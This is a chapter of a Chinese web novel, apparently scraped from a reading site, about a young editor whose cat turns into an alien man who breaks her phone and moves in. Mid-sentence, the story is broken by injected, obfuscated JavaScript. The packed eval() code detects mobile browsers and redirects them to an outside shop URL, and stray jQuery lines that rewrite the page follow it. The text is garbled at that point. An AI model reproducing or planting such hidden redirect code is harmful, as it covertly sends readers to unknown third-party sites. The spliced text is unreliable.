长方形餐桌前。
一人一猫……不对,两人各自坐在一边,保持最远的安全距离。
菜刀还捏在手心里,祝愿粗略检查了一下屋子,没有翻动的痕迹,自己也没事,就是旺财不知道跑哪里去了。
初步判断这人应该不是穷凶极恶之徒。
她努力让自己保持心平气和,委婉询问,“那个,你是不是走错地方了?”
住在楼上的姐姐酷爱男模□□,她曾经在电梯还碰到过一次。
面前这人的长相比那个胜出好几倍,她不知道这行具体的收费标准,但大概是越好看越贵吧。
楼上姐姐下血本点的小男人丢了一晚上,想必很着急,祝愿先给她发去消息。
现在才7点出头,她估计还没醒,一直没回。
男人没睡够似的,靠在椅背上懒洋洋打哈欠,不回话。
祝愿只好又重复一遍,声音拔高,“大哥,你要不确认一下是不是走错地方了?”
阿基嫌吵,抓了下头,手指触及又凉又硬的发丝。
他突然意识到自己已经化形成功,不是可以装作听不懂然后已读不回的猫咪。
祝愿看他坐直了些,眼神清明许多,好看的唇一张一合。
仿佛有魔力似的,她竟一时看失了神,不过只瞬间而已,下一秒就被雷得外焦里嫩。
“你是人中很好的,我选中你了,在离开这个星球之前会一直住在这里,对了,我不喜欢‘旺财’这个名字,听起来很蠢,你可以叫我阿基。作为回报,我会实现你一个愿望,但不能是毁灭世界这种,地球很有意思,我们还在探索中。”
祝愿:……什么乱七八糟的。
她头皮发麻,耐心即将告罄,“你好好说话,再装傻充愣,我只能报警了。”
似乎是意外触发到什么关键词,男人的眼神一瞬间变得凌厉,食指轻抬。
她放在右手边的手机毫无征兆飞了出去,狠狠砸在地上,甚至呲出了火星,四分五裂不说,光洁的瓷砖都被划出一道黑色的痕迹。
在吓晕之前,她看见男人张嘴露出尖利的虎牙,宛如地狱罗刹手里的三叉戟一般恐怖。
一道声音强势钻进耳朵。
“不准。”
再醒来已经是半小时之后的事了。
阿基把毯子围在腰上,赤裸着上身坐在她身边,线条优美。
手里还拿着祝愿不久前给小猫买的宠物交流按钮。
出去玩……
吃饭……
出去玩……
吃饭……
讨债鬼来的。
祝愿脑子乱糟糟,乏力地撑起身体坐起来。
黑色痕迹依旧在地板上,这不是做梦。
“你终于醒了。”阿基眼睛一亮,丢下按钮。
他指着自己的肚子,“空的。”
祝愿的嗓子很干很燥,她还是不敢相信,哑着声音问:“你到底是什么人?”
阿基:“外星人。给我饭。”
晕倒前那一幕直接重塑了祝愿的世界观。
她现在看阿基就像看怪物,原本因为帅气长相产生的那点旖旎心思烟消云散,剩下的只有对未知的恐惧。
祝愿把冰箱里剩下的半袋吐司扔给他。
结果他拆了半天防潮扣,无果,居然直接用指甲把袋子抠得稀巴烂,面包也被扯得稀碎。
他把它们塞进嘴里,露出餍足的表情。
祝愿默默喝水,内心很悲催。
她会死吗?
阿基跟能读心似的,“放心,只要你听话,我不会对你怎么样的。我还要吃。”
合着这个怪胎还在安慰她?
祝愿无语到极致居然笑了:“好好好。”
白花花的肌肉冲击眼球,祝愿把头转过去,非礼勿视。
“那啥,我先给你找件衣服穿吧。”
阿基身上穿着祝愿能找到的最大号睡衣,布料紧绷绷贴在身上,勾勒出腹肌,却又看不太真切,惹人遐想。
趁她蹲下找裤子的间隙,一个没注意,阿基从柜子里搬出之前藏匿的零食框。
“原来你藏在这里。”
阿基还是猫的时候,皮的要上天。零食放在客厅里,不管多高他都能跳上去,无奈只好放在卧室了。
他悠闲地躺在沙发上,一手猫条一手冻干。
奇怪,明明之前吃的时候觉得这些简直是地球食物No.1,现在怎么味同嚼蜡还有点反胃。
他一个鲤鱼打挺坐起来,刚想叫祝愿拿点其他东西来吃,只见她蹲在地上,手里还拿着手机的残骸。
背影孤零零的,头埋得很低。
不知道为什么,阿基突然开不了口了,心里特别不得劲。
探索前期,先辈们的附体都是现用现抢,方便但带来的麻烦也多。
时代在进步,他们掌握的信息逐渐增加,自己就能造出躯壳,但毕竟人类自身的基因都漏洞百出,更别提仿制品了。
教授说,有瑕疵很正常,重要的是如何在短时间内快速修复,不要影响完成任务。
不过他后半节睡觉去了,没听。
阿基以为是故障,揉着胸口试图缓解。
祝愿小心翼翼把手机残骸拼在一起。
还好,只是手机屏幕碎了,看起来比较惨烈,里面的元件看着还行,修修说不定还能用。
就是可怜了瓷砖,得用了多大力气才能拉出这么深的一道划痕,不知道重新买一块换上麻不麻烦。
这一番操作下来得多少钱呐!
怪胎,不让报警她不报还不行吗,至于上才艺?纯为了装逼吧!
祝愿的心好痛,但敢怒不敢言。
地上有很多碎渣,她准备拿扫帚把这块清理一下,起来的时候眼前发黑,重心不稳,看起来马上要摔到了,其实自己完全可以应付过来。
不料下一秒,她被人一把捞起,反而还控制不住往前踉跄了几步。
可视区域从中心呈放射状扩散,在完全缓过来之前,那张帅脸占据全部视线。
阿基:“你怎么了?”
祝愿:“没事啊,起猛了有点头晕而已。”
阿基:“哦,保护好自己,你还有用。”
祝愿:……
祝愿其实有很多问题想问他,例如你什么时候走,你来干什么的,你一个人来的吗,等等。
但最后她只问了一个:
“你来地球不花钱吗?”
阿基摸下巴,回忆了一下“钱”的含义,随后认真地点点头,“当然要花。”
“那你有钱吗?”
“本来有的。”
“求你细讲。”
据他所说,飞船偏离航线导致坠机,还把他摔伤了,这才导致迟迟无法化形。
接应他的队友在地球已经混出名堂,不缺钱,等找到通讯器联系上就舒坦了。
祝愿本来都没指望外星人能给自己赔偿,但凭空多出个planB,貌似有转机。
她比他还殷切。
“你准备什么时候去找?”
阿基高高在上,瞥她一眼,“怎么?”
在他的认知里,祝愿是他为自己找的地球保姆。
和保姆生活在一起,难免会贡献出部分隐私,这无可厚非,但其他的,想都不要想。
虽然阿基脸上的表情没变,但祝愿却感觉后背一阵阴风刮过。
她有些怵他,但转念一想。
这里好歹是自己家,刚才他也说了,自己还有用,一时半会儿应该不会对她做什么。
祝愿硬着头皮问,“你把我手机砸坏了,总得赔吧?”
不错,他的人类保姆还算老实。
阿基满不在乎,转身离开,“再说吧。有吃的没?”
就知道吃吃吃,吃你个大头鬼!
—
不幸中的万幸,今天休假。
祝愿翻出旧手机把电话卡插进去,登录微信,可能是信息没同步过来,通讯录安安静静。
她向自己交好的同事旁敲侧击,得到一切安好的回应才放了心。
行业形势大缩水,根据上层指令,杂志社最近在搞大裁员,连资历深的大主编都被逼走了,留下才工作两年的小编辑,如祝愿童鞋,瑟瑟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351466|199614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发抖。
为了保住工作,让她在假期加班也可以啊!
阿基慢条斯理嗦完一大碗面,悠悠道:“待会儿我要出去一趟。”
祝愿本来也要去手机店的,欣然同意,“好啊,正好我也要出门。”
他吃完饭就当甩手掌柜,跑到沙发上看电视。
以前祝愿在客厅看电视剧的时候,他就总在旁边观望,早早领略了偶像剧的精彩之处。
男女主正演到在城门前生离死别,泪洒当场。
阿基看得入迷,眼睛一眨不眨,突然,电视机毫无征兆关机。
黑乎乎的屏幕映出阿基迷茫的脸。
阿基叫来祝愿。
祝愿也懵了。
这台电视是刚赶上TCL潮流时候买的,43寸,不大,很老旧了。
祝愿平时很少看,拿来当摆设多一点。
重插插座,拍打外壳,都试过了,依然无效。
她福至心灵,去按了下客厅的灯,也没动静。
“好像是,电费欠费了。”
祝愿充了50块进去,果然不一会儿,电视又重新运作。
快中午了,祝愿怕手机店关门休息,耽误事儿,“要不回来再看吧。”
这一打岔,阿基也失了兴致,点点头。
祝愿现在住的房子是老妈年轻时候买的二手房,到她这里已经成三手了。旧是旧了点,但胜在老妈眼光好,房子方圆十里在近几年被开发了个遍,生活超级便利。
祝愿让阿基坐在后座,小电驴空间有限,两人只能尽可能挨得近一点。
水粉色的小车没有丁点儿划痕,一看就知道是被主人用心养护着的。
阿基记得,他被水呛到快要窒息的那天,祝愿就是骑着它把他从超雄店员手里救出来。
“我喜欢它。”他说。
“喜欢也不能给你,”祝愿让他拉好自己的衣摆,免得笨头笨脑摔下去找她算账,“坐稳没,出发了啊。”
小电驴自如地在车水马龙里穿梭,最终稳稳停在一家老旧的店头前。
店老板坐在电脑前打游戏,旁边还有没吃完的剩饭和可乐,几乎是扫过一眼就给出结论,“别把破烂放桌上,拿走。”
祝愿面上浮现出一抹尴尬的神色,“老板你仔细看看,这内件大多都是好的,不能用的我可以换。”
要不是出了意外,她原本计划换手机是在两年之后。
店老板叹了口气,不情愿地暂停游戏,一双胖手捡起袋子里的残骸翻看起来。
“你这也不行啊,处理器都歪了,没救懂不。回收都卖不了几个钱,花钱换个新的吧。”
阿基没下车,双腿随意支在地上,侧颜完美,抬头看天上云卷云舒。
听见脚步声,他扭头,看见祝愿失魂落魄从店里出来,和刚才兴冲冲的模样判若两人。
阿基问:“怎么了?”
祝愿没说话,掀起眼皮,貌似瞪了他一眼,又好像没有。
她坐上来,把着车头,车晃荡,他人也跟着晃荡,十分被动的感觉。
“手机修不好,卖了50块钱。”祝愿心事重重,连带着语气也蔫蔫的。
别看阿基,培训的时候懒洋洋,不认真,连开飞船这种大事都能搞砸。
但他也是正儿八经通过重重选拔推出的选手,百万里挑一的天才。
换句话说,人家操心的事,在他这里就像路边的石头,不值一提。
除了刚来那会儿,吃了受伤的亏,在街上流浪吃了点苦头,其他的时候都是一帆风顺。
体系不一样已经很要命了,他连同种族的烦恼有时都理解不了,更别提祝愿了。
不就是坏了个通讯工具,至于吗……
阿基见不得低气压,都要喘不过气了,“等我和总部联系上,到时候还你一个。”
祝愿没忍住,背对着他翻了个白眼。
一个臭外地的,说得轻巧!他连衣服都是跟自己借的!
人画的大饼吃多了,她还是第一次吃猫画的饼。
猫饼。
祝愿学着他的样子,“再说吧。”